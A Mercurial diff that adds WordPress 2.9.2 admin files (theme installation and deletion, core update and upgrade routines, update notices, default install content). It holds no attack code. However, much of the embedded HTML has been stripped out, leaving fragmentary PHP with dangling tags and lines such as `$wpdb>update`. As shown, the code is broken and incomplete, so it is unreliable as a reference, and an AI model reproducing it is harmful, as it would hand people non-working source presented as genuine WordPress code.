'install_themes_upload', 10, 1); +function install_themes_upload($page = 1) { +?> +

    +

    +
    + + + +
    + name, $themes_allowedtags); + $desc = wp_kses($theme->description, $themes_allowedtags); + //if ( strlen($desc) > 30 ) + // $desc = substr($desc, 0, 15) . '...' . substr($desc, -15) . ''; + + $preview_link = $theme->preview_url . '?TB_iframe=true&width=600&height=400'; + if ( !is_array($actions) ) { + $actions = array(); + $actions[] = '' . __('Install') . ''; + $actions[] = '' . __('Preview') . ''; + $actions = apply_filters('theme_install_action_links', $actions, $theme); + } + + $actions = implode ( ' | ', $actions ); + ?> +'> + + +

    + +

    + + +
    +

    version, $themes_allowedtags) ?>

    +

    author, $themes_allowedtags) ?>

    +last_updated) ) : ?> +

    last_updated)) ) ?>

    +requires) ) : ?> +

    requires) ?>

    +tested) ) : ?> +

    tested ?>

    +downloaded) ) : ?> +

    downloaded), number_format_i18n($theme->downloaded)) ?>

    + +
    +
    +
    <?php _e('5 stars') ?>
    +
    <?php _e('4 stars') ?>
    +
    <?php _e('3 stars') ?>
    +
    <?php _e('2 stars') ?>
    +
    <?php _e('1 star') ?>
    +
    +
    + string 'Magazine Basic' (length=14) + public 'slug' => string 'magazine-basic' (length=14) + public 'version' => string '1.1' (length=3) + public 'author' => string 'tinkerpriest' (length=12) + public 'preview_url' => string 'http://wp-themes.com/?magazine-basic' (length=36) + public 'screenshot_url' => string 'http://wp-themes.com/wp-content/themes/magazine-basic/screenshot.png' (length=68) + public 'rating' => float 80 + public 'num_ratings' => int 1 + public 'homepage' => string 'http://wordpress.org/extend/themes/magazine-basic' (length=49) + public 'description' => string 'A basic magazine style layout with a fully customizable layout through a backend interface. Designed by c.bavota of Tinker Priest Media.' (length=214) + public 'download_link' => string 'http://wordpress.org/extend/themes/download/magazine-basic.1.1.zip' (length=66) + */ +} + +/** + * Display theme content based on theme list. + * + * @since 2.8.0 + * + * @param array $themes List of themes. + * @param string $page + * @param int $totalpages Number of pages. + */ +function display_themes($themes, $page = 1, $totalpages = 1) { + global $themes_allowedtags; + + $type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : ''; + ?> +
    +
    + add_query_arg('paged', '%#%', $url), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => $totalpages, + 'current' => $page + )); + + if ( $page_links ) + echo "\t\t
    $page_links
    "; + ?> +
    +
    + + + $cols ) { + ?> + + $theme_index ) { + $class = array('available-theme'); + if ( $row == 1 ) $class[] = 'top'; + if ( $col == 1 ) $class[] = 'left'; + if ( $row == $rows ) $class[] = 'bottom'; + if ( $col == 3 ) $class[] = 'right'; + ?> + + + + +
    + +
    $page_links
    "; ?>
    + + + stripslashes( $_REQUEST['theme'] ) )); + + if ( is_wp_error($api) ) + wp_die($api); + + // Sanitize HTML + foreach ( (array)$api->sections as $section_name => $content ) + $api->sections[$section_name] = wp_kses($content, $themes_allowedtags); + foreach ( array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key ) + $api->$key = wp_kses($api->$key, $themes_allowedtags); + + iframe_header( __('Theme Install') ); + + if ( empty($api->download_link) ) { + echo '

    ' . __('Error: This theme is currently not available. Please try again later.') . '

    '; + iframe_footer(); + exit; + } + + if ( !empty($api->tested) && version_compare($GLOBALS['wp_version'], $api->tested, '>') ) + echo '

    ' . __('Warning: This theme has not been tested with your current version of WordPress.') . '

    '; + else if ( !empty($api->requires) && version_compare($GLOBALS['wp_version'], $api->requires, '<') ) + echo '

    ' . __('Warning: This theme has not been marked as compatible with your version of WordPress.') . '

    '; + + // Default to a "new" theme + $type = 'install'; + // Check to see if this theme is known to be installed, and has an update awaiting it. + $update_themes = get_transient('update_themes'); + if ( is_object($update_themes) && isset($update_themes->response) ) { + foreach ( (array)$update_themes->response as $theme_slug => $theme_info ) { + if ( $theme_slug === $api->slug ) { + $type = 'update_available'; + $update_file = $theme_slug; + break; + } + } + } + + $themes = get_themes(); + foreach ( $themes as $this_theme ) { + if ( is_array($this_theme) && $this_theme['Stylesheet'] == $api->slug ) { + if ( $this_theme['Version'] == $api->version ) { + $type = 'latest_installed'; + } elseif ( $this_theme['Version'] > $api->version ) { + $type = 'newer_installed'; + $newer_version = $this_theme['Version']; + } + break; + } + } +?> + +
    + +

    name; ?>

    +

    author); ?>

    +

    version); ?>

    + +' . __('Cancel') . ' '; + +switch ( $type ) { +default: +case 'install': + if ( current_user_can('install_themes') ) : + $buttons .= '' . __('Install Now') . ''; + endif; + break; +case 'update_available': + if ( current_user_can('update_themes') ) : + $buttons .= '' . __('Install Update Now') . ''; + endif; + break; +case 'newer_installed': + if ( current_user_can('install_themes') || current_user_can('update_themes') ) : + ?>

    +
    +
    + +

    + +
    +

    + +name = $current_theme; + $ct->title = $themes[$current_theme]['Title']; + $ct->version = $themes[$current_theme]['Version']; + $ct->parent_theme = $themes[$current_theme]['Parent Theme']; + $ct->template_dir = $themes[$current_theme]['Template Dir']; + $ct->stylesheet_dir = $themes[$current_theme]['Stylesheet Dir']; + $ct->template = $themes[$current_theme]['Template']; + $ct->stylesheet = $themes[$current_theme]['Stylesheet']; + $ct->screenshot = $themes[$current_theme]['Screenshot']; + $ct->description = $themes[$current_theme]['Description']; + $ct->author = $themes[$current_theme]['Author']; + $ct->tags = $themes[$current_theme]['Tags']; + $ct->theme_root = $themes[$current_theme]['Theme Root']; + $ct->theme_root_uri = $themes[$current_theme]['Theme Root URI']; + return $ct; +} + +/** + * Remove a theme + * + * @since 2.8.0 + * + * @param string $template Template directory of the theme to delete + * @return mixed + */ +function delete_theme($template) { + global $wp_filesystem; + + if ( empty($template) ) + return false; + + ob_start(); + $url = wp_nonce_url('themes.php?action=delete&template=' . $template, 'delete-theme_' . $template); + if ( false === ($credentials = request_filesystem_credentials($url)) ) { + $data = ob_get_contents(); + ob_end_clean(); + if ( ! empty($data) ){ + include_once( ABSPATH . 'wp-admin/admin-header.php'); + echo $data; + include( ABSPATH . 'wp-admin/admin-footer.php'); + exit; + } + return; + } + + if ( ! WP_Filesystem($credentials) ) { + request_filesystem_credentials($url, '', true); // Failed to connect, Error and request again + $data = ob_get_contents(); + ob_end_clean(); + if( ! empty($data) ){ + include_once( ABSPATH . 'wp-admin/admin-header.php'); + echo $data; + include( ABSPATH . 'wp-admin/admin-footer.php'); + exit; + } + return; + } + + + if ( ! is_object($wp_filesystem) ) + return new WP_Error('fs_unavailable', __('Could not access filesystem.')); + + if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) + return new WP_Error('fs_error', __('Filesystem error'), $wp_filesystem->errors); + + //Get the base plugin folder + $themes_dir = $wp_filesystem->wp_themes_dir(); + if ( empty($themes_dir) ) + return new WP_Error('fs_no_themes_dir', __('Unable to locate WordPress theme directory.')); + + $themes_dir = trailingslashit( $themes_dir ); + + $errors = array(); + + $theme_dir = trailingslashit($themes_dir . $template); + $deleted = $wp_filesystem->delete($theme_dir, true); + + if ( ! $deleted ) + return new WP_Error('could_not_remove_theme', sprintf(__('Could not fully remove the theme %s'), $template) ); + + // Force refresh of theme update information + delete_transient('update_themes'); + + return true; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function get_broken_themes() { + global $wp_broken_themes; + + get_themes(); + return $wp_broken_themes; +} + +/** + * Get the Page Templates available in this theme + * + * @since unknown + * + * @return array Key is template name, Value is template name + */ +function get_page_templates() { + $themes = get_themes(); + $theme = get_current_theme(); + $templates = $themes[$theme]['Template Files']; + $page_templates = array(); + + if ( is_array( $templates ) ) { + $base = array( trailingslashit(get_template_directory()), trailingslashit(get_stylesheet_directory()) ); + + foreach ( $templates as $template ) { + $basename = str_replace($base, '', $template); + + // don't allow template files in subdirectories + if ( false !== strpos($basename, '/') ) + continue; + + $template_data = implode( '', file( $template )); + + $name = ''; + if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) + $name = _cleanup_header_comment($name[1]); + + if ( !empty( $name ) ) { + $page_templates[trim( $name )] = $basename; + } + } + } + + return $page_templates; +} + +/** + * Tidies a filename for url display by the theme editor. + * + * @since 2.9.0 + * @private + * + * @param string $fullpath Full path to the theme file + * @param string $containingfolder Path of the theme parent folder + * @return string + */ +function _get_template_edit_filename($fullpath, $containingfolder) { + return str_replace(dirname(dirname( $containingfolder )) , '', $fullpath); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/update-core.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/update-core.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,290 @@ +db_version(); + $required_php_version = '4.3'; + $required_mysql_version = '4.1.2'; + $wp_version = '2.9.2'; + $php_compat = version_compare( $php_version, $required_php_version, '>=' ); + $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); + + if ( !$mysql_compat || !$php_compat ) + $wp_filesystem->delete($from, true); + + if ( !$mysql_compat && !$php_compat ) + return new WP_Error( 'php_mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) ); + elseif ( !$php_compat ) + return new WP_Error( 'php_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version ) ); + elseif ( !$mysql_compat ) + return new WP_Error( 'mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version ) ); + + // Sanity check the unzipped distribution + apply_filters('update_feedback', __('Verifying the unpacked files')); + if ( !$wp_filesystem->exists($from . '/wordpress/wp-settings.php') || !$wp_filesystem->exists($from . '/wordpress/wp-admin/admin.php') || + !$wp_filesystem->exists($from . '/wordpress/wp-includes/functions.php') ) { + $wp_filesystem->delete($from, true); + return new WP_Error('insane_distro', __('The update could not be unpacked') ); + } + + apply_filters('update_feedback', __('Installing the latest version')); + + // Create maintenance file to signal that we are upgrading + $maintenance_string = ''; + $maintenance_file = $to . '.maintenance'; + $wp_filesystem->delete($maintenance_file); + $wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE); + + // Copy new versions of WP files into place. + $result = copy_dir($from . '/wordpress', $to); + if ( is_wp_error($result) ) { + $wp_filesystem->delete($maintenance_file); + $wp_filesystem->delete($from, true); + return $result; + } + + // Remove old files + foreach ( $_old_files as $old_file ) { + $old_file = $to . $old_file; + if ( !$wp_filesystem->exists($old_file) ) + continue; + $wp_filesystem->delete($old_file, true); + } + + // Upgrade DB with separate request + apply_filters('update_feedback', __('Upgrading database')); + $db_upgrade_url = admin_url('upgrade.php?step=upgrade_db'); + wp_remote_post($db_upgrade_url, array('timeout' => 60)); + + // Remove working directory + $wp_filesystem->delete($from, true); + + // Force refresh of update information + if ( function_exists('delete_transient') ) + delete_transient('update_core'); + else + delete_option('update_core'); + + // Remove maintenance file, we're done. + $wp_filesystem->delete($maintenance_file); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/update.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/update.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,260 @@ + 'latest'); + return $updates[0]; +} + +/** + * Get available core updates + * + * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too, + * set $options['available'] to false to skip not-dimissed updates. + * @return array Array of the update objects + */ +function get_core_updates( $options = array() ) { + $options = array_merge( array('available' => true, 'dismissed' => false ), $options ); + $dismissed = get_option( 'dismissed_update_core' ); + if ( !is_array( $dismissed ) ) $dismissed = array(); + $from_api = get_transient( 'update_core' ); + if ( empty($from_api) ) + return false; + if ( !isset( $from_api->updates ) || !is_array( $from_api->updates ) ) return false; + $updates = $from_api->updates; + if ( !is_array( $updates ) ) return false; + $result = array(); + foreach($updates as $update) { + if ( array_key_exists( $update->current.'|'.$update->locale, $dismissed ) ) { + if ( $options['dismissed'] ) { + $update->dismissed = true; + $result[]= $update; + } + } else { + if ( $options['available'] ) { + $update->dismissed = false; + $result[]= $update; + } + } + } + return $result; +} + +function dismiss_core_update( $update ) { + $dismissed = get_option( 'dismissed_update_core' ); + $dismissed[ $update->current.'|'.$update->locale ] = true; + return update_option( 'dismissed_update_core', $dismissed ); +} + +function undismiss_core_update( $version, $locale ) { + $dismissed = get_option( 'dismissed_update_core' ); + $key = $version.'|'.$locale; + if ( !isset( $dismissed[$key] ) ) return false; + unset( $dismissed[$key] ); + return update_option( 'dismissed_update_core', $dismissed ); +} + +function find_core_update( $version, $locale ) { + $from_api = get_transient( 'update_core' ); + if ( !is_array( $from_api->updates ) ) return false; + $updates = $from_api->updates; + foreach($updates as $update) { + if ( $update->current == $version && $update->locale == $locale ) + return $update; + } + return false; +} + +function core_update_footer( $msg = '' ) { + if ( !current_user_can('manage_options') ) + return sprintf( __( 'Version %s' ), $GLOBALS['wp_version'] ); + + $cur = get_preferred_from_update_core(); + if ( ! isset( $cur->current ) ) + $cur->current = ''; + + if ( ! isset( $cur->url ) ) + $cur->url = ''; + + if ( ! isset( $cur->response ) ) + $cur->response = ''; + + switch ( $cur->response ) { + case 'development' : + return sprintf( __( 'You are using a development version (%1$s). Cool! Please stay updated.' ), $GLOBALS['wp_version'], 'update-core.php'); + break; + + case 'upgrade' : + if ( current_user_can('manage_options') ) { + return sprintf( ''.__( 'Get Version %2$s' ).'', 'update-core.php', $cur->current); + break; + } + + case 'latest' : + default : + return sprintf( __( 'Version %s' ), $GLOBALS['wp_version'] ); + break; + } +} +add_filter( 'update_footer', 'core_update_footer' ); + +function update_nag() { + global $pagenow; + + if ( 'update-core.php' == $pagenow ) + return; + + $cur = get_preferred_from_update_core(); + + if ( ! isset( $cur->response ) || $cur->response != 'upgrade' ) + return false; + + if ( current_user_can('manage_options') ) + $msg = sprintf( __('WordPress %1$s is available! Please update now.'), $cur->current, 'update-core.php' ); + else + $msg = sprintf( __('WordPress %1$s is available! Please notify the site administrator.'), $cur->current ); + + echo "
    $msg
    "; +} +add_action( 'admin_notices', 'update_nag', 3 ); + +// Called directly from dashboard +function update_right_now_message() { + $cur = get_preferred_from_update_core(); + + $msg = sprintf( __('You are using WordPress %s.'), $GLOBALS['wp_version'] ); + if ( isset( $cur->response ) && $cur->response == 'upgrade' && current_user_can('manage_options') ) + $msg .= " " . sprintf( __('Update to %s'), $cur->current ? $cur->current : __( 'Latest' ) ) . ''; + + echo "$msg"; +} + +function get_plugin_updates() { + $all_plugins = get_plugins(); + $upgrade_plugins = array(); + $current = get_transient( 'update_plugins' ); + foreach ( (array)$all_plugins as $plugin_file => $plugin_data) { + if ( isset( $current->response[ $plugin_file ] ) ) { + $upgrade_plugins[ $plugin_file ] = (object) $plugin_data; + $upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ]; + } + } + + return $upgrade_plugins; +} + +function wp_plugin_update_rows() { + $plugins = get_transient( 'update_plugins' ); + if ( isset($plugins->response) && is_array($plugins->response) ) { + $plugins = array_keys( $plugins->response ); + foreach( $plugins as $plugin_file ) { + add_action( "after_plugin_row_$plugin_file", 'wp_plugin_update_row', 10, 2 ); + } + } +} +add_action( 'admin_init', 'wp_plugin_update_rows' ); + +function wp_plugin_update_row( $file, $plugin_data ) { + $current = get_transient( 'update_plugins' ); + if ( !isset( $current->response[ $file ] ) ) + return false; + + $r = $current->response[ $file ]; + + $plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array()); + $plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags ); + + $details_url = admin_url('plugin-install.php?tab=plugin-information&plugin=' . $r->slug . '&TB_iframe=true&width=600&height=800'); + + echo '
    '; + if ( ! current_user_can('update_plugins') ) + printf( __('There is a new version of %1$s available. View version %4$s Details.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version ); + else if ( empty($r->package) ) + printf( __('There is a new version of %1$s available. View version %4$s Details automatic upgrade unavailable for this plugin.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version ); + else + printf( __('There is a new version of %1$s available. View version %4$s Details or upgrade automatically.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version, wp_nonce_url('update.php?action=upgrade-plugin&plugin=' . $file, 'upgrade-plugin_' . $file) ); + + do_action( "in_plugin_update_message-$file", $plugin_data, $r ); + + echo '
    '; +} + +function wp_update_plugin($plugin, $feedback = '') { + + if ( !empty($feedback) ) + add_filter('update_feedback', $feedback); + + include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; + $upgrader = new Plugin_Upgrader(); + return $upgrader->upgrade($plugin); +} + +function get_theme_updates() { + $themes = get_themes(); + $current = get_transient('update_themes'); + $update_themes = array(); + + foreach ( $themes as $theme ) { + $theme = (object) $theme; + if ( isset($current->response[ $theme->Stylesheet ]) ) { + $update_themes[$theme->Stylesheet] = $theme; + $update_themes[$theme->Stylesheet]->update = $current->response[ $theme->Stylesheet ]; + } + } + + return $update_themes; +} + +function wp_update_theme($theme, $feedback = '') { + + if ( !empty($feedback) ) + add_filter('update_feedback', $feedback); + + include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; + $upgrader = new Theme_Upgrader(); + return $upgrader->upgrade($theme); +} + + +function wp_update_core($current, $feedback = '') { + + if ( !empty($feedback) ) + add_filter('update_feedback', $feedback); + + include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; + $upgrader = new Core_Upgrader(); + return $upgrader->upgrade($current); + +} + +function maintenance_nag() { + global $upgrading; + if ( ! isset( $upgrading ) ) + return false; + + if ( current_user_can('manage_options') ) + $msg = sprintf( __('An automated WordPress update has failed to complete - please attempt the update again now.'), 'update-core.php' ); + else + $msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.'); + + echo "
    $msg
    "; +} +add_action( 'admin_notices', 'maintenance_nag' ); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/upgrade.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/upgrade.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1702 @@ +Note that password carefully! It is a random password that was generated just for you.'); + $user_id = wp_create_user($user_name, $random_password, $user_email); + update_usermeta($user_id, 'default_password_nag', true); + } else { + $random_password = ''; + $message = __('User already exists. Password inherited.'); + } + + $user = new WP_User($user_id); + $user->set_role('administrator'); + + wp_install_defaults($user_id); + + $wp_rewrite->flush_rules(); + + wp_new_blog_notification($blog_title, $guessurl, $user_id, $random_password); + + wp_cache_flush(); + + return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $random_password, 'password_message' => $message); +} +endif; + +if ( !function_exists('wp_install_defaults') ) : +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param int $user_id User ID. + */ +function wp_install_defaults($user_id) { + global $wpdb; + + // Default category + $cat_name = __('Uncategorized'); + /* translators: Default category slug */ + $cat_slug = sanitize_title(_x('Uncategorized', 'Default category slug')); + + $wpdb->insert( $wpdb->terms, array('name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) ); + $wpdb->insert( $wpdb->term_taxonomy, array('term_id' => '1', 'taxonomy' => 'category', 'description' => '', 'parent' => 0, 'count' => 1)); + + // Default link category + $cat_name = __('Blogroll'); + /* translators: Default link category slug */ + $cat_slug = sanitize_title(_x('Blogroll', 'Default link category slug')); + + $wpdb->insert( $wpdb->terms, array('name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) ); + $wpdb->insert( $wpdb->term_taxonomy, array('term_id' => '2', 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 7)); + + // Now drop in some default links + $default_links = array(); + $default_links[] = array( 'link_url' => 'http://codex.wordpress.org/', + 'link_name' => 'Documentation', + 'link_rss' => '', + 'link_notes' => ''); + + $default_links[] = array( 'link_url' => 'http://wordpress.org/development/', + 'link_name' => 'Development Blog', + 'link_rss' => 'http://wordpress.org/development/feed/', + 'link_notes' => ''); + + $default_links[] = array( 'link_url' => 'http://wordpress.org/extend/ideas/', + 'link_name' => 'Suggest Ideas', + 'link_rss' => '', + 'link_notes' =>''); + + $default_links[] = array( 'link_url' => 'http://wordpress.org/support/', + 'link_name' => 'Support Forum', + 'link_rss' => '', + 'link_notes' =>''); + + $default_links[] = array( 'link_url' => 'http://wordpress.org/extend/plugins/', + 'link_name' => 'Plugins', + 'link_rss' => '', + 'link_notes' =>''); + + $default_links[] = array( 'link_url' => 'http://wordpress.org/extend/themes/', + 'link_name' => 'Themes', + 'link_rss' => '', + 'link_notes' =>''); + + $default_links[] = array( 'link_url' => 'http://planet.wordpress.org/', + 'link_name' => 'WordPress Planet', + 'link_rss' => '', + 'link_notes' =>''); + + foreach ( $default_links as $link ) { + $wpdb->insert( $wpdb->links, $link); + $wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => 2, 'object_id' => $wpdb->insert_id) ); + } + + // First post + $now = date('Y-m-d H:i:s'); + $now_gmt = gmdate('Y-m-d H:i:s'); + $first_post_guid = get_option('home') . '/?p=1'; + + $wpdb->insert( $wpdb->posts, array( + 'post_author' => $user_id, + 'post_date' => $now, + 'post_date_gmt' => $now_gmt, + 'post_content' => __('Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!'), + 'post_excerpt' => '', + 'post_title' => __('Hello world!'), + /* translators: Default post slug */ + 'post_name' => _x('hello-world', 'Default post slug'), + 'post_modified' => $now, + 'post_modified_gmt' => $now_gmt, + 'guid' => $first_post_guid, + 'comment_count' => 1, + 'to_ping' => '', + 'pinged' => '', + 'post_content_filtered' => '' + )); + $wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => 1, 'object_id' => 1) ); + + // Default comment + $wpdb->insert( $wpdb->comments, array( + 'comment_post_ID' => 1, + 'comment_author' => __('Mr WordPress'), + 'comment_author_email' => '', + 'comment_author_url' => 'http://wordpress.org/', + 'comment_date' => $now, + 'comment_date_gmt' => $now_gmt, + 'comment_content' => __('Hi, this is a comment.
    To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.') + )); + // First Page + $first_post_guid = get_option('home') . '/?page_id=2'; + $wpdb->insert( $wpdb->posts, array( + 'post_author' => $user_id, + 'post_date' => $now, + 'post_date_gmt' => $now_gmt, + 'post_content' => __('This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.'), + 'post_excerpt' => '', + 'post_title' => __('About'), + /* translators: Default page slug */ + 'post_name' => _x('about', 'Default page slug'), + 'post_modified' => $now, + 'post_modified_gmt' => $now_gmt, + 'guid' => $first_post_guid, + 'post_type' => 'page', + 'to_ping' => '', + 'pinged' => '', + 'post_content_filtered' => '' + )); +} +endif; + +if ( !function_exists('wp_new_blog_notification') ) : +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param string $blog_title Blog title. + * @param string $blog_url Blog url. + * @param int $user_id User ID. + * @param string $password User's Password. + */ +function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password) { + $user = new WP_User($user_id); + $email = $user->user_email; + $name = $user->user_login; + $message = sprintf(__("Your new WordPress blog has been successfully set up at: + +%1\$s + +You can log in to the administrator account with the following information: + +Username: %2\$s +Password: %3\$s + +We hope you enjoy your new blog. Thanks! + +--The WordPress Team +http://wordpress.org/ +"), $blog_url, $name, $password); + + @wp_mail($email, __('New WordPress Blog'), $message); +} +endif; + +if ( !function_exists('wp_upgrade') ) : +/** + * Run WordPress Upgrade functions. + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @return null + */ +function wp_upgrade() { + global $wp_current_db_version, $wp_db_version; + + $wp_current_db_version = __get_option('db_version'); + + // We are up-to-date. Nothing to do. + if ( $wp_db_version == $wp_current_db_version ) + return; + + if( ! is_blog_installed() ) + return; + + wp_check_mysql_version(); + wp_cache_flush(); + pre_schema_upgrade(); + make_db_current_silent(); + upgrade_all(); + wp_cache_flush(); +} +endif; + +/** + * Functions to be called in install and upgrade scripts. + * + * {@internal Missing Long Description}} + * + * @since unknown + */ +function upgrade_all() { + global $wp_current_db_version, $wp_db_version, $wp_rewrite; + $wp_current_db_version = __get_option('db_version'); + + // We are up-to-date. Nothing to do. + if ( $wp_db_version == $wp_current_db_version ) + return; + + // If the version is not set in the DB, try to guess the version. + if ( empty($wp_current_db_version) ) { + $wp_current_db_version = 0; + + // If the template option exists, we have 1.5. + $template = __get_option('template'); + if ( !empty($template) ) + $wp_current_db_version = 2541; + } + + if ( $wp_current_db_version < 6039 ) + upgrade_230_options_table(); + + populate_options(); + + if ( $wp_current_db_version < 2541 ) { + upgrade_100(); + upgrade_101(); + upgrade_110(); + upgrade_130(); + } + + if ( $wp_current_db_version < 3308 ) + upgrade_160(); + + if ( $wp_current_db_version < 4772 ) + upgrade_210(); + + if ( $wp_current_db_version < 4351 ) + upgrade_old_slugs(); + + if ( $wp_current_db_version < 5539 ) + upgrade_230(); + + if ( $wp_current_db_version < 6124 ) + upgrade_230_old_tables(); + + if ( $wp_current_db_version < 7499 ) + upgrade_250(); + + if ( $wp_current_db_version < 7796 ) + upgrade_251(); + + if ( $wp_current_db_version < 7935 ) + upgrade_252(); + + if ( $wp_current_db_version < 8201 ) + upgrade_260(); + + if ( $wp_current_db_version < 8989 ) + upgrade_270(); + + if ( $wp_current_db_version < 10360 ) + upgrade_280(); + + if ( $wp_current_db_version < 11958 ) + upgrade_290(); + + maybe_disable_automattic_widgets(); + + update_option( 'db_version', $wp_db_version ); + update_option( 'db_upgraded', true ); +} + +/** + * Execute changes made in WordPress 1.0. + * + * @since 1.0.0 + */ +function upgrade_100() { + global $wpdb; + + // Get the title and ID of every post, post_name to check if it already has a value + $posts = $wpdb->get_results("SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''"); + if ($posts) { + foreach($posts as $post) { + if ('' == $post->post_name) { + $newtitle = sanitize_title($post->post_title); + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID) ); + } + } + } + + $categories = $wpdb->get_results("SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories"); + foreach ($categories as $category) { + if ('' == $category->category_nicename) { + $newtitle = sanitize_title($category->cat_name); + $wpdb>update( $wpdb->categories, array('category_nicename' => $newtitle), array('cat_ID' => $category->cat_ID) ); + } + } + + $wpdb->query("UPDATE $wpdb->options SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/') + WHERE option_name LIKE 'links_rating_image%' + AND option_value LIKE 'wp-links/links-images/%'"); + + $done_ids = $wpdb->get_results("SELECT DISTINCT post_id FROM $wpdb->post2cat"); + if ($done_ids) : + foreach ($done_ids as $done_id) : + $done_posts[] = $done_id->post_id; + endforeach; + $catwhere = ' AND ID NOT IN (' . implode(',', $done_posts) . ')'; + else: + $catwhere = ''; + endif; + + $allposts = $wpdb->get_results("SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere"); + if ($allposts) : + foreach ($allposts as $post) { + // Check to see if it's already been imported + $cat = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category) ); + if (!$cat && 0 != $post->post_category) { // If there's no result + $wpdb->insert( $wpdb->post2cat, array('post_id' => $post->ID, 'category_id' => $post->post_category) ); + } + } + endif; +} + +/** + * Execute changes made in WordPress 1.0.1. + * + * @since 1.0.1 + */ +function upgrade_101() { + global $wpdb; + + // Clean up indices, add a few + add_clean_index($wpdb->posts, 'post_name'); + add_clean_index($wpdb->posts, 'post_status'); + add_clean_index($wpdb->categories, 'category_nicename'); + add_clean_index($wpdb->comments, 'comment_approved'); + add_clean_index($wpdb->comments, 'comment_post_ID'); + add_clean_index($wpdb->links , 'link_category'); + add_clean_index($wpdb->links , 'link_visible'); +} + +/** + * Execute changes made in WordPress 1.2. + * + * @since 1.2.0 + */ +function upgrade_110() { + global $wpdb; + + // Set user_nicename. + $users = $wpdb->get_results("SELECT ID, user_nickname, user_nicename FROM $wpdb->users"); + foreach ($users as $user) { + if ('' == $user->user_nicename) { + $newname = sanitize_title($user->user_nickname); + $wpdb->update( $wpdb->users, array('user_nicename' => $newname), array('ID' => $user->ID) ); + } + } + + $users = $wpdb->get_results("SELECT ID, user_pass from $wpdb->users"); + foreach ($users as $row) { + if (!preg_match('/^[A-Fa-f0-9]{32}$/', $row->user_pass)) { + $wpdb->update( $wpdb->users, array('user_pass' => md5($row->user_pass)), array('ID' => $row->ID) ); + } + } + + // Get the GMT offset, we'll use that later on + $all_options = get_alloptions_110(); + + $time_difference = $all_options->time_difference; + + $server_time = time()+date('Z'); + $weblogger_time = $server_time + $time_difference*3600; + $gmt_time = time(); + + $diff_gmt_server = ($gmt_time - $server_time) / 3600; + $diff_weblogger_server = ($weblogger_time - $server_time) / 3600; + $diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server; + $gmt_offset = -$diff_gmt_weblogger; + + // Add a gmt_offset option, with value $gmt_offset + add_option('gmt_offset', $gmt_offset); + + // Check if we already set the GMT fields (if we did, then + // MAX(post_date_gmt) can't be '0000-00-00 00:00:00' + // I just slapped myself silly for not thinking about it earlier + $got_gmt_fields = ($wpdb->get_var("SELECT MAX(post_date_gmt) FROM 